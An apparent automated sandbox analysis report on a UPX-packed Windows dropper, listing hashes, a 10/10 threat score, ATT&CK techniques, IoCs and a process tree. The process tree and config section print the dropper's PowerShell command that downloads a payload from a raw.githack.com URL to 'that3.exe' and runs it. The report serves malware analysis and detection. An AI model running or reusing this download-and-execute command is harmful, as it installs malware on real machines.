d58f4ca5711d50e65517fe450bb495abcfff46ba8f045e2e18ed71ed29449b00

Analysis

max time kernel
93s
max time network
122s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02-10-2024 15:03

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General

Target

d58f4ca5711d50e65517fe450bb495abcfff46ba8f045e2e18ed71ed29449b00N.exe
Size

17KB
MD5

2c0cf659287555ed6446ebc7562e7d60
SHA1

e12c664dc6a5078e4f7f638a2eaebe72752f209d
SHA256

d58f4ca5711d50e65517fe450bb495abcfff46ba8f045e2e18ed71ed29449b00
SHA512

fa36fbfdea0ab4c22ba8b99ca42b5ecb5acc967387267b4a77686008a146cdda53ffae1e2171a0c4fa0f2ac68adf05fa5560deaaf1186c482a6c4b043a19b038
SSDEEP

384:OXQCYdMQ0FnKtSNBseL5RtgsIGU8tjUHWuFGQiCu8p3dou7gLdB6U:nlMQ0JKtp2IsI0ITZF6uOdP

Score

10^/10

execution upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githack.com/i87924hgasdhg/hgytiryty/master/busybox

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	4416	powershell.exe
9	4416	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4416	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
9	raw.githubusercontent.com

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4888-0-0x0000000000400000-0x000000000040E000-memory.dmp	upx
behavioral2/memory/4888-20-0x0000000000400000-0x000000000040E000-memory.dmp	upx

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4416	powershell.exe
4416	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4416	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4888 wrote to memory of 3836	4888	d58f4ca5711d50e65517fe450bb495abcfff46ba8f045e2e18ed71ed29449b00N.exe	83
PID 4888 wrote to memory of 3836	4888	d58f4ca5711d50e65517fe450bb495abcfff46ba8f045e2e18ed71ed29449b00N.exe	83
PID 3836 wrote to memory of 4416	3836	cmd.exe	84
PID 3836 wrote to memory of 4416	3836	cmd.exe	84
PID 4888 wrote to memory of 4280	4888	d58f4ca5711d50e65517fe450bb495abcfff46ba8f045e2e18ed71ed29449b00N.exe	85
PID 4888 wrote to memory of 4280	4888	d58f4ca5711d50e65517fe450bb495abcfff46ba8f045e2e18ed71ed29449b00N.exe	85

C:\Users\Admin\AppData\Local\Temp\d58f4ca5711d50e65517fe450bb495abcfff46ba8f045e2e18ed71ed29449b00N.exe
"C:\Users\Admin\AppData\Local\Temp\d58f4ca5711d50e65517fe450bb495abcfff46ba8f045e2e18ed71ed29449b00N.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('https://raw.githack.com/i87924hgasdhg/hgytiryty/master/busybox', 'that3.exe')
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('https://raw.githack.com/i87924hgasdhg/hgytiryty/master/busybox', 'that3.exe')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c that3.exe
  2⤵
  PID:4280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p1amluzn.0wx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4416-1-0x00007FFE86073000-0x00007FFE86075000-memory.dmp

Filesize
8KB

Download
memory/4416-2-0x0000018913110000-0x0000018913132000-memory.dmp

Filesize
136KB

Download
memory/4416-12-0x00007FFE86070000-0x00007FFE86B31000-memory.dmp

Filesize
10.8MB

Download
memory/4416-13-0x00007FFE86070000-0x00007FFE86B31000-memory.dmp

Filesize
10.8MB

Download
memory/4416-14-0x00007FFE86070000-0x00007FFE86B31000-memory.dmp

Filesize
10.8MB

Download
memory/4416-15-0x00007FFE86070000-0x00007FFE86B31000-memory.dmp

Filesize
10.8MB

Download
memory/4416-18-0x00007FFE86070000-0x00007FFE86B31000-memory.dmp

Filesize
10.8MB

Download
memory/4888-0-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/4888-20-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download